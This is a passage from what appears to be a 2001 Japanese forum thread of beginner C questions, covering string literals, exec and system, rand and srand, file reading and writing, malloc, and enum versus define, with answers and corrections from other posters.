毎日使ってれば勝手に覚える。日本語と同じ
ある程度使いこなせると思ったらK&Rを読んでみろ
より一段深い知識が身につけられるだろう
私はCの文法はこれで足りると思っている。

関数などは全部など覚えていないし、覚える必要もない。
リファレンスマニュアルとか検索エンジンで調べる。
分からない単語は辞書をつかって調べるのと同じ。

また、人のソースを読め。
偉大な文豪は同時に読書家であり、話し上手は聞き上手の人が多い。
はっとさせられる表現、考え方は素直に取り入れろ、
読みにくい、分かりにくいソースに出会ったとき、
どうすれば読みやすく、分かりやすいソースになるか考えろ。
良いソースも悪いソースも君の成長に一役買ってくれることだろう。
453デフォルトの名無しさん:01/09/28 13:03
>>445,>>446
ありがとうございました!例が大きくてごめんなさい。
454デフォルトの名無しさん:01/09/28 13:22
プログラム中から別のプログラムを実行する方法を教えて下さい
お願いします
>>454
まず、system関数を調べてみろ。

次にもう少し高度な方法として
DOS(LSI-C)系:spawnl,spawnlp,spawnv,spawnvp,spawnle,
        spawnlpe,spawnve,spawnvpe
Unix(posix)系:execve, execlp, execvp,execl, execv,
        execle, exect
とかいうのもある。
456454:01/09/28 14:03
>>455
ありがとうございます、早速調べてみます
457デフォルトの名無しさん:01/09/28 17:58
>>452
禿動!いい考え方だ。
458age:01/09/28 18:40
age
459デフォルトの名無しさん:01/09/28 23:28
文字列リテラルの有効範囲について質問です。

void abc(char *sz){
  sz = "ABCDEFG";
  return;
}
int main(void){
  char *a;
  abc(a);
  return 0;
}
とあった場合、関数abc()内の文字列リテラル"ABCDEFG"は、いつまでメモリ上に存在するのですか?

・"ABCDEFG"が書かれた行だけ
・関数abc()が終了するまで
・プログラムが終了するまで
のどれかだと思うのですが、正確な仕様などは決まっているのでしょうか。
460デフォルトの名無しさん:01/09/28 23:32
>>459
プログラム終了するまで存在してます。
461デフォルトの名無しさん:01/09/29 02:27
>>459
そのコードだと、main() で abc(a); から帰ってきた後の a の値はゴミであることに注意せよ。
>>459
"ABCDEFG"はプログラムが終了するまでメモリに存在するが、それを
「szが指している」という事実は関数abcの中でしか通用しない。
463C始めてです。:01/09/29 09:06
main()
{
char to*[];
copy(to);
}
copy(char *to[])
{
strcpy(to[0], "AAA"); <-こんな事できるんですか?
strcpy(to[1], "BBB");
strcpy(to[n], "ZZZ");

}
領域は確保されているんですか?
アドバイスお願いします。
>>463
家、領域が確保されていないので実行時にエラーとなります(エラーチェックが
あまり環境だと、メモリを壊しつつプログラムが暴走します)。

-------------------------------
#include <stdlib.h>
#include <string.h>

void
copy(char *to[])
{
  to[0] = strdup("AAA");
  to[1] = strdup("BBB");
  to[2] = strdup("ZZZ");
}

int
main(void)
{
  char *to[3];
  copy(to);

  return (0);
}
-------------------------------
465土初心者:01/09/29 09:49
プログラムを打ち込むアプリケーションは何が良いですか?
>>465
エディタとして、何を使うべきかという話ですか?
467デフォルトの名無しさん:01/09/29 09:59
>>463
>char to*[];

そもそも↑こんなコードはコンパイルできないぞ
468デフォルトの名無しさん:01/09/29 10:00
>>465
最悪メモ帳でも書けるが・・・さすがにちとツライかな・・・オートインデントさえあれば、どんなエディタでも。
MS-DOSの頃はelis使ってたなー。
多分、Vzが代表的だったんだが…。

そもそも、窓なら統合環境使うのが一番いいよな。
無料コンパイラ使ってるならそうはいかないだろうが…。
エディタの話は宗教論争になりそうな、そんな予感。

環境や使っている処理系にも拠ると思いますしC言語固有のネタでもないので、
続けるなら別スレで……。エディタのスレッドってありませんでしたっけ?
471459:01/09/29 11:01
>>460,461,462

レスありがとうございます。
勉強になります。
472デフォルトの名無しさん:01/09/29 21:03
xyzzy以外に考えられない
473472:01/09/29 21:04
ただ窓で純粋なC言語をやる気にもならない
そういうわけでLINUX+emacs
474デフォルトの名無しさん:01/09/30 00:58
たとえばcalとかのプログラムのソースリストはどうすればわかるの?
475デフォルトの名無しさん:01/09/30 01:00
落としてくる。
476デフォルトの名無しさん:01/09/30 01:26
あの、すいませんが質問です
二つのtxtファイルがあって
その二つの共通部分を表示させたいんですが
date1.txtの内容が
aaaa
cccc
eeee
ffff
date2.txtの内容が
bbbb
dddd
ffff
hhhh
としてdate1.txtとdate2.txtの共通部分である
ffffを変数に取り込むにはどうしたら言いのでしょうか
s=ffff
>>477
いや、そうじゃなくて
二つのファイルから共通部分を取り出したいんです。
教えてください。
一行づつ読んで比較すれば良いじゃん
>>479
それしかないじゃん
481>>479-480:01/09/30 02:09
それどうやるのですか?
482まわりくどいが:01/09/30 04:23
uniq date1.txt > d1
uniq date2.txt > d2
sort d1 d2 | uniq -d
>>481
                ∧_∧   / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
                ( ・∀・)< 勉強の邪魔だから静かにおながいします。
             _φ___⊂)__ \_______________
           /旦/三/ /|
        | ̄ ̄ ̄ ̄ ̄|  |
        |愛媛みかん|/
484デフォルトの名無しさん:01/09/30 15:30
共用体やビットフィールドは実務の場面で使うことはあるのですか?
あと、メンバが1個の構造体、

typedef struct{
char sample[10];
} SAMPLE_ST;

このようなものをたまに見ますが、これは何の意味が合って構造体にしているのですか?
単にわかりやすくするため?
>>484
ビットフィールド、使えないこともないと思うが論理積を使用してチェックする方が一般的かも

構造体は書いた人に聞いてくれ。
typedef char[10] SAMPLE_STで良いと思うんだが。
486デフォルトの名無しさん:01/09/30 15:35
>>484
共用体
任意の表示オブジェクトを格納する配列でつかったことがある。
ビットフィールド
圧縮で使った事が有る。
1個の構造体
あとでメンバー追加するかもしれんし。
>>464
例えば
void f(char sample[10]){...}
よりも
void f(struct SAMPLE_ST *s){...}
の方が応用や再利用が利く使い方だからです。
例えば
typedef struct{
 char sample[10];
 int number;
} SAMPLE_ST
のように書きかえたときプログラムの変更を最小限にすることができます。
逆に構造体を使わない場合、プログラムの無数の個所を直す必要が生じます。
488484:01/09/30 17:08
>485〜487
なるほど、メンバを後から追加することまで考えているのか……。
参考になりました。
とりあえずお礼まで。
489デフォルトの名無しさん:01/09/30 17:51
構造体にすると
struct SAMPLE_ST a=b;
みたく、配列全体を一瞬でコピーできるようになる。
490デフォルトの名無しさん:01/09/30 21:19
>>489
それはそうなんだけど、
そのためだけに構造体にする奴は逝っていいんじゃないか?
491490:01/09/30 21:23
あ、ネタだったらごめん。
その程度なら、マクロで充分
493名無しさん23 :01/10/01 00:17
すまんです。
独学でCを始めたので(プログラム経験なし)
質問内容も曖昧かもしれませんがお許し下さい。

LSIのコンパイラをDLしたのですが
long int って予約語(?)はLSIでは使えないのでしょうか?
int と同じ桁数しか表示できません。

外出かも知れませんが過去ログが膨大で
ちょっと調べるのが億劫だったので
皆様のお知恵を拝借させてください。

お暇な方
よろしくお願いします。
%ld使え、ってオチ?
>>493
> int と同じ桁数しか表示できません。
これの意味が分からない。

もし、
int i = 10;
long l = 10;
printf("i = %d l = %d\n", i, l);
ならば、同じ桁数しか表示しない。

ちなみに内部表現のことを言っているのだったらLSI-Cの場合、
int 16bit long 32bitなのでbit数は違う
496名無しさん:01/10/01 21:20
確立1/3で+1
2/3で+0
っていうふうにするにはどうするの?
497名無しさん:01/10/01 21:26
詳しく書くと、
ある変数Aに
確立1/3で
A+1

確立2/3で
A+0

という風にしたいのです。
確立xというのが分かりません。

へぼくてごめんなさい。
498名無しさん:01/10/01 21:37
age
>>496-498
日本語習ってこい
今だ!!キリバンゲットォォォォ!!
 ̄ ̄ ̄ ̄ ̄∨ ̄ ̄ ̄       (´´
     ∧∧   )      (´⌒(´
  ⊂(゚Д゚⊂⌒`つ≡≡≡(´⌒;;;≡≡≡
        ̄ ̄  (´⌒(´⌒;;
      ズザーーーーーッ
日本語は今更駄目そうだから
せめてお前の使う記述言語の言語仕様書を見せろ。
>>496-498
srand(time(NULL));
if (rand()%3 == 0)
A += 1;
/*
else
A += 0;
*/
こういう話?
503名無しさん:01/10/01 22:14
すみません、もっと詳しく書きます。
AとBがゲームをしており、
Aがかつと+1
負けると+0
となります。

このAのかつ確立を1/3とすると、
ゲームを1000回続けた時どのような
値に収束するか?というような意味の問題を扱っています。

そこで、
確立1/3で
A+1

確立2/3で
A+0
としたいのです。
504名無しさん:01/10/01 22:17
つきつめて言うと
ランダムな
0から1までの値を
ある変数にセットする方法を教えてください。
乱数が3で割り切れたら1、そうでない場合は0をAに代入する。
ちなみにC標準関数の乱数はばらつきに限界があるんで適当な
乱数生成アルゴリズムも検討したりしなかったり。
506デフォルトの名無しさん:01/10/01 22:23
507名無しさん:01/10/01 22:25
>>506
藁た。

>>502 さんのでいいのね。ありがとう。
508名無しさん:01/10/01 23:24
すみません、また問題がおきました。
厨房で、すみません。

というのは、
先程の話の続きですが、aがあるゲームをしており、
得点が、ゲームの1ラウンドで、
aが勝つと+1
aが負けると-1
となるようにします。
このゲーム自体の勝ちは、aが20になったら勝ちとしております。
aの初期値を(a=i,0<=i<=20)として、a
が勝つ回数を数えているのですが、
以下のコードでは、なぜか各ラウンドでaが勝ち続けてしまいます。
調べて見るとrand()
が毎回同じ値を返しているのです。
この対策法をどうか教えてください。
急いでいます。


while((a<20) || (a=0)){

srand(time(NULL));

if (rand()%3 == 0){
a += 1;}
else{
a -= 1;}


if(a=20){
win[i]++;
}
}
509デフォルトの名無しさん:01/10/01 23:25
毎回srandするなYO!
warata

Z80とかでやれば、ある時期を境にaが負けはじめるかもよ
511名無しさん:01/10/01 23:29
それは、一回目のsrand以降は
randだけにしろということでしょうか。
ほんと厨房で申し訳ないです。
512デフォルトの名無しさん:01/10/01 23:31
どうでもいいが、a=0とかa=20とかマジで書いてる?
513名無しさん:01/10/01 23:32
a==0
とかが正しいのでしょうか?
まじで、1年Cを触らなかったら
さっぱり忘れてしまいました。
ネタにマジレスかこわるい
マニュアルを読めないのか
読まないのか

どっちなんだ?
516デフォルトの名無しさん:01/10/02 00:46
バイナリーエディターを作りたいのですが
バイナリーで読むためのファイルの開き方と
16進での表示の仕方がよくわかりません
わかる人がいましたら、よろしくお願いします
fopen fread bin2hex
以上PHPでした
>>508

void main(void)
{
int a = 0;
int i = 0; // 試合数のカウント
srand(time(NULL));

while(a != 20)
{
if (rand() % 2 == 0) // 勝ったとき
{
a += 1;
}
else // 負けたとき
{
a -= 1;
}
i++;
}
printf("%d\n", i);//試合数の出力
}

違ってたらスマソ。
519ビル・ジョブス:01/10/02 13:03
ビットフィールドはデバイスのI/Oなんかによく使うよ。
構造体へのポインタかぶせてね。
520ビル・ジョブス:01/10/02 13:13
5ビットの整数(符号あり・なし)
とか作れて便利だよ。
>>508
aの勝利条件だけで敗北条件がないから、いつかは必ずaが勝つ。
522クリントン:01/10/02 16:47
いきなりですが、お暇なら付き合ってください。
えーと、例えばa.txtってファイルがあったとしますよね。
ファイルの中には文字列がたくさんなわけなんですが、
そのなかにある「"」を全部削除したいんです。
何行ぐらいでかけるでしょうか?
>>522
10行ぐらい
2行あれば書けるな
>>524 = 七行プログラミングスレの住人
普通に書いても4行くらいかな

#include <stdio.h>
int main() {
    while(以下略
    return 0;}
リダイレクト使うか否かによって違う。
528クリントン:01/10/02 17:02
ズルい女になるところでした。
ずばり、
記述してください。お願いします・・・。
529デフォルトの名無しさん:01/10/02 17:05
#define 使うのとenum使うのでは
enumを使ったほうが良いとしている参考書やWeb上のドキュメントは多くありますが
事実define ばかり使われているのは何故ですか?
enum がもし enum MyConst{ ver=10;};

と定義して MyConst.ver と使うような仕掛けだったら
きっと もっと使われたでしょうね・・・・
>>528
#include <stdio.h>
main(){int c;while(c=getchar(),c^EOF)c^34?putchar(c):0;}


>>529
使う人は使ってます
532デフォルトの名無しさん:01/10/02 17:31
別に今のままの状態でもdefineに劣るところはないと思いますが。
古い環境ではサポートされていないからでしょうか?
流れにあわせてdefineを使っていますが
実際にenum使うと問題起きると思います?
533デフォルトの名無しさん:01/10/02 17:32
>>522
#include <stdio.h>
int main(void){int ch;long l=0L,m=0L;FILE *fp=fopen("a.txt","r+");
do{fseek(fp,l,SEEK_SET);ch=fgetc(fp);if(feof(fp)||ferror(fp)) break;
if(ch!='"'){fseek(fp,m,SEEK_SET);fputc(ch,fp);m++;}l++;}
while(!feof(fp)&&!ferror(fp));fclose(fp);return 0;}
//ファイルの最後にゴミがでるだろうな。
>>532 enum { A, B, C=A|B}; とはできない。
535クリントン:01/10/02 17:37
>>533
本当に5行で書けるとは・・・
正直、疑ってました・・・
世の中にはすごい人がいくらでもいるんですね・・・
・・・すばらしい
>>535
バグを消してもっと短く書けます。
ただ、ここを7行スレと同じにするつもりはないので自分で考えて
537526:01/10/02 17:44
>>527
要件から見てフィルタであることが明らかなので、普通はリダイレクト使うと思われ。

>>535
これくらいできない奴はプログラマではない。
538クリントン:01/10/02 17:47
>>537
すいません、疑っているわけではないのですが、
別解ありましたら書いていただけますか?
>>538

531で既に出ているが?
540526:01/10/02 17:56
>>538

526を見よ。略されてる部分は推して知れ。
#include <stdlib.h>
int main() {
system("sed -e 's/"//g' a.txt");
return 0;
}
"sed"やリダイレクトが無いシステムってどんなシステムやねん。
#include <stdio.h>
int main(void){int c; FILE *in_f,*out_f; in_f=fopen("a.txt","r");
out_f=fopen("a-new.txt","w"); do{if(!((c=fgetc(in_f))^EOF)) goto _go_out;
(c!='"')&&fputc(c,out_f);}while(1);_go_out: fclose(in_f);fclose(out_f);return 0;}
// 日本語ファイルはだめ。
remove("a.txt"); rename("a-new.txt", "a.txt");
>>541 の間違い発見!
>system("sed -e 's/"//g' a.txt");
system("sed -e 's/\"//g' a.txt");
なんでこんなしょーもない題材で熱くなるんだ?
7行スレにでも参加しろよ
>>545
> 7行スレにでも参加しろよ
こんな題材7行も書く価値はない
>>546
いや、な。これをもっていくんじゃなくて、
こんな題材に熱くなる暇があるなら、
7行スレやIOCCCに参加しろってこと。

7行すれもネタが無くて寂しいから
7行スレはどこですか?
549454:01/10/02 21:23
execveを使ってプログラム中から別のプログラムを実行する事はできたのですが、
その実行結果をファイルに落とすのはどうすればいいのでしょうか?

argv[3] = ">";
argv[4] = data;
argv[5] = 0;
ではunrecognised optionと言われました
550sage:01/10/02 21:26
'>' とかのリダイレクト記号はシェルが解釈してるなり。
exec する前に標準出力を結果を出力したいファイルにリダイレクトしとくなり。
551454:01/10/02 21:45
>>550
すみません、いまいちよく分からないのですが
もう少し詳しく教えて頂けないでしょうか?
5521:01/10/02 21:48
>>551
fd = open("data", ...);
dup2(fd, STDOUT_FILENO);
close(fd);
execve(...);
みたいな。
554454:01/10/02 22:00
>>553
ありがとうございます
助かりました、今からやってみます
555デフォルトの名無しさん:01/10/02 23:04
ファイル名を使って格納されている外部ファイルを開くのと、
メモリ内にポインタ変数を用いて格納されている値を参照する
ことの類似性についておしえてクダサイ。
>>555
嫌です
557デフォルトの名無しさん:01/10/02 23:26
GetOpenFileName()は、システムからファイル名パスを取得し、
ofn.lpszstrの示す文字列ポインタの示す場所へ、それを格納し、
直後のCreateFile()が一時ハンドルを取得し、さらに次のReadFile()
が、その引数のしていする文字列ポインタの場所にバッファを格納する、
これでいいですか?
>>555
ファイルハンドルとポインタの類似性ですか?
ファイルハンドルはOS内の或る配列のインデックスじゃなかった?
559デフォルトの名無しさん:01/10/02 23:35
う〜ん、わからないけどmemsetって大事ですか?
>>555 類似性は無いです
>>555 = >>559
そういう質問の仕方では望みの答えは返ってこないよ
>>559
「連続した記憶領域を或る値に書き換える」と覚えておきましょう。
文字列もどこかの記憶領域に格納されていることを考慮すれば、
文字列を全部空白にする、ってことも可能ですね。
563chichi:01/10/03 00:47
こんばんわ!
現在Cの勉強をはじめたばかりで、右も左もわかりません!
ご教授、よろしくお願いします。

勉強&Cのファイル操作把握がてら、下のような簡単なソースを作成してみたのですが、
これを、
tempファイルの作成(temp.txt)→正しく作成されたかチェック→
tempファイルに出力(temp.txt)に出力→正しく出力されたかチェック→
ファイル閉じる→正しく閉じたかチェック
・・・と変更したいのですけど、参考書などを見てもあまりよくわからなくて・・・

#include <stdio.h>
#include <stdlib.h>

writefile(){
FILE *fp;
char tofile;

printf("書き込むファイル名:");
gets("tofile");

if((fp* = fopen(tofile,"w")) == NULL){
printf("ファイルをオープンできません。\n");
exit(1);
}
fclose(fp*);
return(0);
}

ビギナーな質問ですみませんが、
よろしくお願いします!m(__)m
564デフォルトの名無しさん:01/10/03 00:50
>>563
fp* ってなんだそりゃ。
565chichi:01/10/03 00:55
>>564
あ、そこまちがえました・・・。
if((*fp =fopen(tofile,"w"))==NULL){ ・・・でした。すみません。
>>563
つーか全部無茶苦茶。
つーか、'*' つけじゃいかんでしょ fp に。
568デフォルトの名無しさん:01/10/03 00:58
>563

まずgets("tofile"); が意味不明
tofileっていう変数に文字列入れたいなら
  char tofile[100];
  gets(tofile);
と書け。

ファイルポインタの使い方も変。

×if((*fp = fopen(tofile,"w")) == NULL){
○if((fp = fopen(tofile,"w")) == NULL){

×fclose(fp*);
○fclose(fp);
569sage:01/10/03 00:59
でもファイルポインタがなんなのか理解すればいい感じっぽい。
570デフォルトの名無しさん:01/10/03 01:00
<stdio.h> の tmpnam, tmpfile 関数を使わないの?
571 :01/10/03 01:01
>>563
#include <stdio.h>

int main(int argc, char *argv)
{
 FILE *file_ptr;
 char output_file[100];

 printf("書き込むファイル名 >");
 scanf("%s", output_file);

 if((file_ptr = fopen(output_file, "w")) == NULL) {
  printf("ファイルをオープンできませんでした。\n");
  return -1;
 }

 fclose(fp);

 return 0;
}
572571:01/10/03 01:03
fclose(fp);に関しては忘れてくれ。
それから、オーバーフロー起こすとかも言わないでくれ。
mainの第二引数が怪しいのも、突っ込まないようにするよ。
574571:01/10/03 01:12
分かった、分かった。直したよ。
オーバーフローもしないけど、100字より長い名前のファイルを
作りたいとは言わないでくれよ。

#include <stdio.h>

int main(int argc, char *argv[])
{
 FILE *file_ptr;
 int i, input_char;
 char output_file[100 + 1];

 printf("書き込むファイル名 >");
 for(i = 0; i < 100 (input_char = getchar()) != EOF) && input_char != '\n'; i++)
 output_file[i] = input_char;
 output_file[i] = '\0';

 if((file_ptr = fopen(output_file, "w")) == NULL) {
  printf("ファイルをオープンできませんでした。\n");
  return -1;
 }

 fclose(file_ptr);

 return 0;
}
575chichi:01/10/03 01:14
皆さんいろいろありがとうございます・・・。
早速試してみます。
>>574
普通、素直に fgets() じゃないの?
つーか、変数名うざいね。(w
闇雲に説明的なのより慣用句にしたがったほうが読みやすい。
577_________:01/10/03 01:54
>>576
fgetsでどうやってオーバーフロー対策するつもりだ?
つーか、知ったかうざいね。(w
578えめえすでーえぬ:01/10/03 01:57
/* FGETS.C: このプログラムは、fgets 関数を使って、ファイルから 1 行読
* み出し、スクリーンに表示します。
*/

#include <stdio.h>

FILE *stream;

void main( void )
{
char line[100], *result;

if( (stream = fopen( "fgets.c", "r" )) != NULL )
{
if( fgets( line, 100, stream ) == NULL)
printf( "fgets 関数でエラーが生じました。\n" );
else
printf( "%s", line);
fclose( stream );
}
}
579sage:01/10/03 01:58
誰か激しく突っ込んでやれよ >>577
580デフォルトの名無しさん:01/10/03 01:59
>>577
予め、システムで定められた上限を超えないこと。
581デフォルトの名無しさん:01/10/03 02:02
>>580 は失敗。>>578 を見よ。
582576:01/10/03 02:05
しったかっていわれちゃたーよ(T_T)

>>577
gets() とカンチガイ?
char *fgets(char *str, int size, FILE *stream);

>>578
△ if( fgets( line, 100, stream ) == NULL)
○ if( fgets( line, sizeof(line), stream) == NULL)
>>574
>  for(i = 0; i < 100 (input_char = getchar()) != EOF) && input_char != '\n'; i++)
継続条件がヘン。
584デフォルトの名無しさん:01/10/03 07:15
>>331のソースをgccでコンパイルしたら何も問題なかったのですが、
コンパイラが適当に何かやってくれたんだろうか・・。
かなり疑問なので分かる人教えれ。
585出馬鹿ー:01/10/03 07:24
>>584
何が疑問なのですか?
まずはプログラムをちゃんと読んでから質問するように。
一箇所気になるところは、
*p++よりもp[i]のほうがわかりやすいと思うのですがどうでしょうか?
(前者の方がほんのわずかに実行効率がいいのですが・・・)
出たばかりのどうしようもないコンパイラでない限り、効率は同じだゴルァ
587デフォルトの名無しさん:01/10/03 07:42
>>584
関数に飛ばしたあとに何か変数をつくって
スタックをつぶしてみな
588デフォルトの名無しさん:01/10/03 07:47
>>586
それはどうかな?
C++Builder4 とVC++(VisualStudio6.0)
でテストしたときにはあきらかに違ったよ。
gccでは知らん
>>588 の続き
ただし
for(int i=0;i<3;i++){}
の代わりに
while(p<p_max){}
を使ってループした場合だけどね
590クリントン:01/10/03 09:40
まだ一晩しか悩んでいないのですが、
#include <stdlib.h>
int main() {
system("sed -e 's/"//g' a.txt");
return 0;
}
がなにをやっているのかさっぱりです。
ヒントをいただけたらなぁ・・・

ヒントください。
591ブッシュ:01/10/03 09:43
>>590
systemというのは、まあ
それを起動したシェルで""で囲んだ中の処理を実行する関数だな。
system("dir"); とか system("ls"); とかやってみて。

sed は、まあ
適当な文書整形をやってくれる人。
よく知らん。googleかmanを見れ。
592デフォルトの名無しさん:01/10/03 09:45
>> 590
sedにつてgoogleで調べよ。
ちなみに今使っているOSはなんですか?
sedって名前のDOS用スクリーンエディタがあった気がする。
594592:01/10/03 09:51
sed はMS-DOSにはないコマンドだよ。
UNIX系のOSである必要があると思うよ。
595デフォルトの名無しさん:01/10/03 09:52
>>587
関数に飛ばしたあとCでは変数作れませんよね?
「スタックをつぶす」というのがどういうことか教えてください。
596クリントン:01/10/03 09:57
>>592
windows2000です。
UNIX以外は関係なかったんですね。
ダブルクォーテーションを消すだけでも
結構難しいものです・・・
しかしここは結構勉強になりますね。
597教えてください:01/10/03 18:20
C初心者です。

ひとつ質問なのですが、
getcharやgetcheで、入力を待ち受けているときに
1秒たったら、
getcharやgetche処理を中止して
次の処理に移りたいのですが、うまくいきません。

time_t t1;
t1 = time( NULL );
while( ( time( NULL) - t1 ) / CLOCKS_PER_SEC <= 1 ) 
   dt = getche();

なんて、やってみたら
逆に永遠にgetcheしていました。

何かよい方法はないのでしょうか?
598デフォルトの名無しさん:01/10/03 18:24
>>597
汎用的な方法はないはず。Unix だったら man setitimer してみて。
Windows は他の人にまかせた。
/*
F1=1,F2=1であるフィボナッチ数列の第n項目をFnとする。
2数a,bの最大公約数を[a,b]とする。
例えば、[63,81]=9である。
このとき、1以上の自然数に含まれる二数、m,nについて、
F[m,n]=[Fm,Fn]
であることを確かめる
*/

#include <stdio.h>
#include <stdlib.h>

int f[30];

void fib(void);
void fib_print(void);
void check(void);

int main(void)
{
printf("フィボナッチ数列を30項まで表示します\n");
fib();
fib_print();
check();
printf("プログラムを終わります");
return 0;
}

void fib(void)
{
int i;

f[0]=1;
f[1]=1;

for(i=2 ; i<30 ; i++)
{
f[i]=f[i-1]+f[i-2];
}
}

void fib_print(void)
{
int i;

for (i=0 ; i<30 ; i++)
{
printf("%7d",f[i]);
if((i+1)%9==0)
printf("\n");
}

}

int gcd(int a, int b)
{
int r;

if(a<0) a = -a;
if(b<0) b = -b;

while(b != 0){
r = a % b;
a = b;
b = r;
}
return a;
}

int reduct(int *a, int *b)
{
int gcd_ab;

gcd_ab = gcd(*a,*b);
*a /= gcd_ab;
*b /= gcd_ab;

return gcd_ab;
}

void check(void)
{
int m,n,r,s;
printf("\nF[m,n]と[Fm,Fn]を比較します\n");

printf("m:");
scanf("%d",&m);

printf("b:");
scanf("%d",&n);

printf("Fm=%d,Fn=%d\n",f[m-1],f[n-1]);
s=reduct(&f[m-1],&f[n-1]);
r=reduct(&m,&n);
printf("F[m,n]=%d\n",f[r-1]);
printf("[Fm,Fn]=%d\n",s);
}
601599:01/10/03 18:27
自分でプログラム組んでみたんですが
どこか問題があるでしょうか?
良くないと思う部分はどんどん教えてください。
>>597
その質問は処理系依存です。
OSと処理系を明示してくれんと答えられない。
603デフォルトの名無しさん:01/10/03 18:31
>>597
あなたの求めている関数は標準ライブラリには存在しないと思います。
UNIXではXの関数を使ってやりました。
Windowsでは開発環境依存のイベントを使ってやりました。
604デフォルトの名無しさん:01/10/03 18:33
>>599-601
学校の宿題は自分の力でやりましょう。
605599:01/10/03 18:43
ちっ、うるせーな
606604:01/10/03 18:48
>>599-601
>>605
て優香ー 困っているようには全然見えないしー
自分で考える脳味噌がないなら逝ってよしー
607デフォルトの名無しさん:01/10/03 18:59
>>597
unix だったら select か poll 使うのが普通だと思う
608599:01/10/03 19:02
はい・・・じゃぁ他へ
行ってきます・・・わざわざありがとうございます
>>606
> 自分で考える脳味噌がないなら逝ってよしー
おまえもな

自分で作ったプログラムが良いプログラムかどうかを
自分で考えることができるのかい?
610577:01/10/03 19:14
お答えありがとうございます。そして
言葉足らずですみません。

>>602
一応VCで作っています。(Win Me)

>>603
Windowsでは開発環境依存のイベントを使うと
具体的にどうなるのでしょうか?
611デフォルトの名無しさん:01/10/03 19:18
>>610
C++Builderならばイベントを使えばあなたの目的は達成される。
VCならば....わたしはVCはよくわからない。
612599:01/10/03 19:18
偽者発見!
>>605は僕ではありません。本当です
613デフォルトの名無しさん:01/10/04 01:21
rrrrrrrrrrrrrr
aaaaaaaaaaaaa
ss
wwwwwwwww
222222222222
wwwwwwwwwwwww
eeeeeeeeeeeeeee
rrrrrrrrrrrrrr
ddddddddddd
xxxxxxxxxxxxx
cccccccccccccc
vvvvvvvvvvvvv
bbbbbbbbbbbb

ghhgggg
614デフォルトの名無しさん:01/10/04 13:46
簡単なメモリー管理ってどうやる?
615デフォルトの名無しさん:01/10/04 13:51
#include <malloc.h>
malloc の返り値をポインタに置き、ポインタ先の内容を使う。
必要無くなったら、free を呼んでメモリ解放ってか。
616614:01/10/04 13:53
もっと具体的に教えてください
617デフォルトの名無しさん:01/10/04 13:57
調べりゃ分かるさ。マニュアル有るならマニュアル見る。
VC++なら[F1]を押して、クリッククリック。
618デフォルトの名無しさん:01/10/04 14:32
メモリー確保・解放のロジック教えて
>>618 自分のOSの仕組みを調べるしかないな。
MS-DOSを除いて根底でメモリ管理やっているのはOSだから。
620デフォルトの名無しさん:01/10/04 14:42
メモリー確保・解放ってどうやってるの?
#include <stdlib.h>
#include <malloc.h>
char *str = malloc(256);
if(str == NULL) {puts("容量足らへん"); exit(-1);}
sprintf(str, "メモリの%s, %sたよ\n", "確保", "でき");
free(str);

>>618 メモリに関する Java のサイト(英文)
http://search.java.sun.com/Search/java?col=jsun&pw=100%25&ws=0&nh=10&qt=memory&Search.x=13&Search.y=9
622デフォルトの名無しさん:01/10/04 14:55
聞き方が悪くてすみません。
LocalAlloc()・LocalFree()などの、仮想記憶を含めて
内部ロジックが知りたいのですが?
x86依存してかまいませんが、そんなに依存しませんよね。
Local〜なんかはWindows依存だから置いておくとして、
x86のメモリ管理なら、

インテル・アーキテクチャ ソフトウェア・デベロッパーズ・マニュアル 下巻
の3章を読め
625デフォルトの名無しさん:01/10/04 15:09
聞き方が悪くてすみません。
LocalAlloc()・LocalFree()などの、仮想記憶を含めて
内部ロジックが知りたいのですが?
x86依存してかまいませんが、そんなに依存しませんよね。
ほとんどC言語で書かれてますよね、きっと。

>>621
確保できた場合には表示してませんが、それは仕様ですか?
あと、こう書いたほうが良いとおもいますが・・・

#include <stdio.h>
#include <stdlib.h>
#include <malloc.h>

int main(void)
{
char *str;

if((str = malloc(256)) == NULL) {
puts("容量足らへん");
exit(-1);
} else {
sprintf(str, "メモリの%s, %sたよ", "確保", "でき");
puts(str);
free(str);
exit(0);
}
}
なるほど、ネタだったのね。
マジレスしてしまった623
628デフォルトの名無しさん:01/10/04 16:20
フルスペックの、sprintf()自作した方居ます?
>>628
超サブセットなら。
というかBASICやってたころね。
>>628 sprintf() 作る前に文字列を type==int, long, double型に
変換する char *str2type(char*, type*) のような関数を書かなきゃ。
631デフォルトの名無しさん:01/10/04 16:43
8進数、10進数、16進数、エスケープシーケンスも。
632ビル・ジョブス:01/10/04 17:11
浮動小数点を省いて全て作ったよ。
浮動小数点むちゃくちゃ大変じゃない?
633デフォルトの名無しさん:01/10/04 17:14
ビル・ジョブス、君のsprintf() は MBCS に対応しているかい?
MBCS にしないと、日本のプログラマはHゲーム送ってくれないよ。
634ビル・ジョブス:01/10/04 17:18
Hゲームはいらないが、MBCSには対応していない、
というか、対応する必要が無い。
635デフォルトの名無しさん:01/10/04 17:22
ビル、それはひどいよ。着物を着ている人たちはシフトJIS使ってんだぜ。
君の会社が対象にしているマーケットは何だい?
>>635
マルエツ
637ビル・ジョブス:01/10/04 17:33
漢字使わない世界向けだからよし!
HA,HA,HA!
ビル、悪い冗談だぜ。地球人の5人に1人は漢字を使う中国人だぜ?
639デフォルトの名無しさん:01/10/04 19:04
中国人は日本人以上に英語分かりますよ。
640ビル・ジョブス:01/10/04 19:12
じゃ、その5人中の4人に売るからいーよ
641デフォルトの名無しさん:01/10/04 22:55
short型の変数をprintfで出力するとき、書式は%dと%hdのどっち?
printfに渡った時点でintにプロモートしてるから%dでいいと思うんだけど、
そうなると%hdの存在理由は?
642おせーて:01/10/04 22:58
>>641
short=int=4バイトでなかった?
643おせーて:01/10/04 22:59
C,C++の話しだけどね
>>642
環境依存
ANSI だと、確か
short <= int <= long
%hdて何?
646ビル・ジョブス:01/10/05 01:11
みんなー処理系依存していませんかー
厨房丸出しですよー
647デフォルトの名無しさん:01/10/05 02:15
ttp://www.pro.or.jp/~fuji/mybooks/cpro/cpro.0.6.html
にある、ピタゴラスの計算を最速で実行するアルゴリズムの答えが
知りたいです。とりあえず、自分の考えたのは次のようなやつ:

#include <stdio.h>
#include <stdlib.h>
#include <math.h>

int main(int argc, char *argv[])
{
/* 最大の数 */
int maxnum;
int a, b;
int a2, b2;
double c, c2;

if (argc != 2) {
printf("usage: pythago num\n");
return 1;
}

maxnum = atoi(argv[1]);

for (a = maxnum; a > 0; --a) {
for (b = a - 1; b > 0; --b) {
a2 = a*a;
b2 = b*b;
c2 = a2 - b2;
if (c2 < 0 || c2 > b2)
continue;

